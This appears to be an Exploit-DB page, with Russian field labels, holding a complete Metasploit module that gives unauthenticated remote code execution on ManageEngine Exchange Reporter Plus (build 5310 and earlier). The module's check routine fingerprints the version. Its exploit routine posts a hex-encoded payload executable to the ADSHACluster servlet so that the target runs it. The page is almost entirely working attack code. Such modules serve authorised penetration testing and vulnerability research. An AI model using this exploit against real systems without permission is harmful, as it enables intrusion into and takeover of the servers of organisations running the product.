Exploit Manage Engine Exchange Reporter Plus - Remote Code Execution (Metasploit)

[Exploiter]

EDB-ID

45018

Проверка EDB

1. Пройдено

Автор

METASPLOIT

Тип уязвимости

REMOTE

Платформа

JAVA

CVE

N/A

Дата публикации

2018-07-13

Manage Engine Exchange Reporter Plus - Remote Code Execution (Metasploit)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule  < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Manage Engine Exchange Reporter Plus Unauthenticated RCE',
      'Description'    => %q{
        This module exploits a remote code execution vulnerability that
        exists in Exchange Reporter Plus <= 5310, caused by execution of
        bcp.exe file inside ADSHACluster servlet
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Kacper Szurek <[email protected]>'
        ],
      'References'     =>
        [
          ['URL', 'https://security.szurek.pl/manage-engine-exchange-reporter-plus-unauthenticated-rce.html']
        ],
      'Platform'       => ['win'],
      'Arch'           => [ARCH_X86, ARCH_X64],
      'Targets'        => [['Automatic', {}]],
      'DisclosureDate' => 'Jun 28 2018',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'The URI of the application', '/']),
        Opt::RPORT(8181),
      ])

  end

  def bin_to_hex(s)
      s.each_byte.map { |b| b.to_s(16).rjust(2,'0') }.join
  end

  def check
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, 'exchange', 'servlet', 'GetProductVersion')
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Safe
    end

    unless res.code == 200
      vprint_status 'Target is not Manage Engine Exchange Reporter Plus'
      return CheckCode::Safe
    end

    begin
      json = res.get_json_document
      raise if json.empty? || !json['BUILD_NUMBER']
    rescue
      vprint_status 'Target is not Manage Engine Exchange Reporter Plus'
      return CheckCode::Safe
    end

    vprint_status "Version: #{json['BUILD_NUMBER']}"

    if json['BUILD_NUMBER'].to_i <= 5310
      return CheckCode::Appears
    end

    CheckCode::Safe
  end

  def exploit
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'exchange', 'servlet', 'ADSHACluster'),
      'vars_post' => {
        'MTCALL'  => "nativeClient",
        'BCP_RLL' => "0102",
        'BCP_EXE' => bin_to_hex(generate_payload_exe)
      }
    })
  end
end